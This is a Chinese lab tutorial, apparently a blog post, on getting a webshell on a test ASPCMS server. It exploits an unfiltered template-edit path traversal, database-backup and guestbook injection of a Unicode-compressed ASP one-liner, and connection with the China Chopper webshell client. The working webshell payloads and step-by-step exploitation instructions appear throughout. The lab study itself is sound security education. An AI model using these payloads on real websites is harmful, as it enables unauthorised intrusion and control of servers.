1.A11.windows内网靶场搭建2.A12.WEB主机-信息搜集3.A15.WEB主机-其他Webshell管理工具4.A16.WEB主机-CVE漏洞提权与系统用户密码破解
5.A14.WEB主机-获取Webshell
1.WEB主机-获取Webshell
利用模板编辑漏洞获取Webshell
根据网络上的资料，一些版本的ASPCMS中还存在着利用模板编辑功能上传Webshell的漏洞。下面找到与模板编辑相关的ASP文件，进行分析验证。
代码审计
打开admin_aspcms\style\AspCms_TemplateAdd.asp文件，看到了允许的文件扩展名变量：Template_AllowFileExt，但文件里未对此变量定义。
查找文件开头包含的文件，得知此文件引用了Aspcms_Stylefun.Asp文件。找到并查看Aspcms_Stylefun.Asp文件，在第3行定义了允许的文件后缀名。
根据此文件第16行的代码，得知增加模板文件对应的函数是Addfile()，在文件中查找Addfile()，找到这个函数的具体代码。在第94-100行判断了如果是允许的后缀名则Flag设为True，如果Flag不为True，则报错。所以添加模板这里并不能用来上传Webshell。
然而当我们找到编辑模板对应的函数Editfile()时，却发现这里没有进行任何过滤。
于是判断可以利用编辑模板功能，修改已有的Asp文件，加入Webshell代码。
注意：新增、修改ASP文件需要具有相关文件的写入、修改权限。为了做方便做这个实验，可以将整个Web的目录，给Users组加上修改的权限。
漏洞测试
访问网站后台，选择“全功能版”，进入后选择“界面风格”—“编辑模板”。下一步需要找到编辑模板时对应的URL，然后将URL里的HTML文件修改为某个已有的ASP文件。
选择一个HTML文件，在“编辑”上，右键“在新标签页打开”，即可看到对应的URL。或者F12–在“网络”标签中查看流量，获得对应的URL为：
http://192.168.10.130/admin_aspcms/_style/aspcms_templateedit.asp?acttype=&filename=about.html
从默认的URL里看到About.html可以直接引用，而编辑模板首页时，可以看到当前about.html是在templates\cn\html\目录下的，因此引用其它文件时，要以此作为相对路径。
然后将URL后面的文件名，改为网站里默认就有的Asp文件。不建议直接编辑首页，这样如果出错马上就会影响到用户的正常浏览网页。在浏览器里查看首页源代码，搜索“.asp”，发现在有一个search.Asp文件，和首页一样，位于网站根目录下。相对templates\cn\html\目录，要返回上级目录三次，才能到达网站根目录，然后加上文件名Search.Asp，就得到了编辑文件的URL：http://192.168.10.130/admin_aspcms/_style/aspcms_templateedit.asp?acttype=&filename=…/…/…/search.asp
在文件尾部插入一句话，<%eval request(“caidao”)%>，点击修改。
然后就可以使用Webshell管理工具，中国菜刀进行连接。中国菜刀当年是个很有名的工具，因此被一些不怀好意的人植入了后门，又放到网上让人们下载。因此在网上下载中国菜刀时，很可能会遇到有后门的。
目前在GitHub项目有一个非官方的下载地址：https://github.com/raddyfiy/caidao-official-version，是比较可靠的，提供了3个版本的下载。不同版本的兼容性有差异，有时换个版本就可以连上。在实验环境使用中国菜刀的重要原因是它小巧，启动非常快，不像后面介绍的其它Webshell工具，体积大，启动速度也慢。
本次使用的是中国菜刀20160622版。连接地址是http://192.168.10.130/search.asp?keys=b&searchtype=0。
再次提醒：search.asp文件需要有能被IIS来宾用户（或Users用户组）修改的NTFS文件系统权限。
问题1：为什么使用Webshell管理工具直接连接http://192.168.10.130/search.asp会失败？
测试一下，直接访问http://192.168.10.130/search.asp也会报错，并自动返回。因为search.asp是用于站在内搜索的一个网页，如果不提供搜索关键字的话，就会弹出提示并返回。因此必须提供搜索的关键字和类型。在网站上输入一个字母，搜索一下，得到URL以后，连接Webshell的时候用这个URL就可以正常运行了。也可以用其它不需要提供参数的ASP文件植入Webshell代码。
在数据库中植入Webshell
此时，需要回到已经得到了管理员密码，但还没有拿到Shell的场景。ASPCMS使用的是Access数据库，根据搜索到的资料，ASPCMS的部分版本中存在数据库插马漏洞。这里我们因为能够登录后台，利用来测试一下。
利用数据库备份拿WebShell
登录ASPCMS的后台（完全版），打开内容维护，新加一个文章，文章标题或内容中插入下面的“乱码”一句话，密码为a。
┼攠數畣整爠煥敵瑳∨≡┩愾
这时，包含一句话木马的代码已经写入了数据库当中。然后，在后台的“扩展功能”—“数据库备份恢复”中，备份数据库，此版本中备份的后缀名是Asp，可以利用。
鼠标移动到文件名上，就可以看到文件对应的URL地址：http://192.168.10.130/data/backup/2022812135733_bak.asp，然后在菜刀里连接Webshell，密码是a。
注意：在Access数据库插入“乱码”一句话木马时，需要确认一下数据库里之前没有插入过这种木马，如果多次插入，会导致这个webshell无法正常运行。因为网上流传的这种木马大部分都是同一个版本，密码都是a，因此如果之前已经插入过这种木马，可以直接连接一下，进行测试。
我们成功的验证了这个漏洞，不过还有一些问题需要弄明白。
问题1：上述“乱码”一句话的字符无法输入，纸质的书也无法复制，怎么办？
有了前面这么多信息，从中提炼出关键词，网上搜索一下，找到相关资料后直接复制网页上的“乱码”一句话。
问题2：那么网站数据库的后缀名为什么要设置为Asp，带来安全问题呢？
本来早期Access数据库的后缀名是mdb，如果后缀名是mdb的话，IIS不做解析处理，访问mdb文件时会被直接下载到客户端。因此，有些开发人员为了避免数据库被人下载，将后缀名改为了Asp，这样访问数据库对应的URL时会被IIS当作Asp文件解析处理，但如果仅仅这样做的话使用下载工具仍可以下载，还需要配合其它措施。
问题3：为什么上面看起来像乱码一样的字符，可以作为一句话木马使用呢？
经过多次调整关键词搜索，并分析验证，得到了答案。
首先，根据微软官方文档：
Microsoft Access 2000或更高版本使用Unicode字符编码来表示文本、备注和超链接字段中的数据。Unicode将每个字符表示为两个字节，所以文本、备注或超链接字段中的数据需要的存储空间比在Access 97或更早版本中要多，在Access 97或更早版本中每个字符表示为一个字节。
可通过将“文本”、“备注”或“超链接”字段的“Unicode 压缩”属性的默认值设为“是”来弥补Unicode字符表达方式所造成的影响，以确保得到优化的性能。当字段的“Unicode 压缩”属性设为“是”时，任何第一个字节为0的字符在存储时都会被压缩，并且在检索时解压缩。因为拉丁字符（如英语、西班牙语或德语）的字符的第一个字节为0，所以Unicode字符表示形式不会影响完全由拉丁字符组成的压缩数据所需的存储空间。
其次，结合网络上其它作者的研究资料，得知原理就是在Access文本字段直接插入经过Access Unicode压缩后的字符，在字段Unicode压缩选项开启的情况下（默认开启），储存于Access 中的字符会自动转换为对应的Ascii字符。
这是理论上的解释。下面通过实验来验证一下。
打开记事本，输入正常的ASP一句话木马，以Unicode（UTF-16 LE）编码保存。
<% execute request("a")%>
然后使用Winhex打开，前2个字节FF FE是文件头，表示是Unicode小端字节顺序编码，这部分不属于一句话，直接删掉。
使用Unicode对单个英文编码后会占用2个字节，但首字节为00（小端序倒过来看）。根据微软官方的Access资料，首字节为0的，在Unicode压缩时会被去掉。使用Winhex的“替换十六进制数值”功能，将这些“00”都替换为空。可以看到，替换后确实不影响英文字符以ANSI ASCII的方式正常表示。
接下来，将Winhex的代码页，切换为Unicode（UTF-16 LE），在代码页这一栏果然看到和之前基本一样的乱码一句话。
把乱码一句话（现在知道其实是经Unicode压缩后的一句话）粘贴到记事本里，以Unicode（UTF-16 LE）编码保存成另一个文件，以便和刚才的文件进行对比。
┼攠數畣整爠煥敵瑳∨≡┩愾
使用Winhex打开后，去掉开头2个字节的文件头，除了最后多了一个十六进制的61以外，其它部分完全一样。
在学习时，不要仅仅满足于操作，除了通过动手操作完成实验以外，更需要思考、分析其中涉及到的一些知识和原理。不过，对原理的理解和探索仍然需要掌握一个“度”，否则就会“过犹不及”。例如，在某个知识上耽搁了太多时间，影响了其它知识的学习；或者长期研究某个原理没有结果，而影响了学习的信心，类似这些都是不可取的。
利用留言板拿Webshell
使用这种方法有个前提，就是需要知道网站数据库的路径。一种可能是网站使用默认的数据库路径，没有改；或者通过目录扫描，获得了数据库路径。
思考一下另外一种情况：如果数据库路径改了，也没有扫描到，能登录后台，这种场景下，如何获取数据库路径？参考答案在本节后面提供。
访问“在线留言”，在标题中插入下面的“乱码”一句话，密码为a。
┼攠數畣整爠煥敵瑳∨≡┩愾
网站默认的数据库文件路径是http://192.168.10.130/data/#data.asp，但用WebShell管理工具直接连接URL会失败，在浏览器里访问也会报错。
问题1：为什么访问带“#”号的URL：http://192.168.10.130/data/#data.asp会出错？
在URL中，“#”号代表网页中的一个位置。其右面的字符，就是该位置的标识符。比如，http://www.example.com/index.html#print浏览器读取这个URL后，会自动将print位置滚动至可视区域。#是用来指导浏览器动作的，对服务器端完全无用。所以，发出的HTTP请求中不包括#。在URL第一个#后面出现的字符，都会被浏览器解读为位置标识符。这意味着，这些字符都不会被发送到服务器端。
此上解释引用于：https://www.ruanyifeng.com/blog/2011/03/url_hash.html。
利用浏览器“检查”功能，在“网络”面板查看详细的请求数据时，可以验证这一点。
只有将#经过URL编码，编码后是%23（23是#对应的ASCII码的16进制），浏览器才会将其作为实义字符处理。编码后，WebShell即可正常访问：http://192.168.10.130/data/%23data.asp。
其实，RFC 1738对URL编码做了规定：只有字母和数字[0-9a-zA-Z]、一些特殊符号"$-_.+!*'(),"[不包括双引号]、以及某些保留字，才可以不经过编码直接用于URL。原文如下：
Thus, only alphanumerics, the special characters “$-_.+!*'(),”, and reserved characters used for their reserved purposes may be used unencoded within a URL.
On the other hand, characters that are not required to be encoded (including alphanumerics) may be encoded within the scheme-specific part of a URL, as long as they are not being used for a reserved purpose.
问题2：在能登录后台，但不知道数据库路径的场景下，如何获取数据库路径？
利用模板编辑功能，读取网站配置文件，网站配置文件里有数据库路径，或者数据库的连接信息，而网站配置文件的路径一般不会改。
扫一扫
2373
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
